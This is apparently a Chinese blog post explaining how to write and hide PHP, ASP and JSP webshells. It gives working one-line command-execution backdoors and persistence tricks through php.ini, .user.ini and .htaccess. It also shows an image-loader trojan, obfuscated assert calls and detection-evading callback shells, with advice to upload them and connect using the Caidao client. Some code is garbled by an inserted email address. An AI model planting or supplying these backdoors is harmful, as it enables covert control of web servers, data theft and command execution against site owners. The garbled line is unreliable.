欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

个人对于webshell的理解

程序员文章站 2022-05-27 15:49:05
...

0x001.前言简介

webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。
个人对于webshell的理解

0x002.webshell的分类

a.根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
b.根据脚本名称分类:jsp、asp、aspx、php
jsp的简单的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

success!!!!<%eval request("cmd")%>

php的简单的webshell:

<?php
    $a=exec($_GET["input"]);
    echo $a;
?>

0x003.webshell的原理

  1. 可执行脚本
    a.HTTP数据包($_GET$_POST$_COOKIES$_SERVER[args]等)
  2. 数据传递
  3. 执行传递的数据
    a.直接执行(eval、system、passthru等)
    b.文件包含执行(include、require等)
    c.动态函数执行($a="phpinfo";$a();)
    d.Curly Syntax执行(${‘ls’})
    e.preg_replace(第一个参数存在’/e’)
    f.ob_start函数
    g.回调函数(array_map等)
    h.反序列化(unserialize等)

0x004.webshell常见的类型

1.php.ini隐藏后门

auto_prepend file="/tmp/caidao.php"
auto_append file="/tmp/caidao.php"

这两种都是相当于在php脚本头部include。
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。
2..htaccess构成php后门

<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php

SetHandler application/x-httpd-php

</FilesMatch>
 php_flag engine 1
1、AddHandler(AddHander php5-script .logs)
2、AddType application/x-httpd-php .png
3、SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)
4、php_value auto_append_file /tmp/caidao.php

3.user.ini隐藏后门(不需重启)
除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include
auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include

4.PHP代码开始标志缩写
将php.ini的short_open_tag参数设为On

<?=($_aaa@qq.com$_GET[2])aaa@qq.com$_($_GET[1])?>

5.图片木马

<?php
    $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));
    $wp__theme_icon();
?>

注:这种方法不允许图片中有非法数据

0x005.webshell的编写

  1. 执行系统命令函数
    a.exec,shell_exec
    b.passthru,system
    举一个例子:
<?php
    exec($_GET['input']);
?>

http://localhost/test/exec.php?input=whoami
个人对于webshell的理解
2. 执行php语句函数
a.eval,assert
b.ob_start
举例:

<?php
    $a = $_GET['i1'];
    ob_start($a);
    echo $_GET['i2'];
    ob_end_flush();
?>

上传后,利用菜刀连接就行。

  1. 混淆代码
    a.利用注释符 /**/
    b.利用 . 连接号
    c.利用()
    d.编码函数
    举例:
<?php  
    $b = “a”.“s”.“s”.“e”.“r”.“t”;$b($_GET[‘a’]);     
?>

5.免杀shell
a.php中call_user_func是执行回调函数的标准方法,是一个比较老的后门:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为函数使用,然后$_REQUEST[‘pass’]作为assert的参数调用;(php版本低)
call_user_func_array(‘assert’, array($_REQUEST[‘pass’]));(php版本低)
b.uksort()函数:通过用户自定义的比较函数对数组按键名进行排序。

个人对于webshell的理解
c.assert()函数:在5.4.8版本之后,增加了参数descript。该参数可回调。bool assert ( mixed $assertion [, string $description ] )

<?php
    $a = $_REQUEST['a'];
    $arr = array('haha' => 88, $_REQUEST['ok'] => 88);
    uksort($arr, $a);
?>

大概的基本上就是这些内容,对于未提及的需要继续加深学习,去了解新的webshell的构造,以及后续的绕过WAF的编写,就这样吧!

相关标签: webshell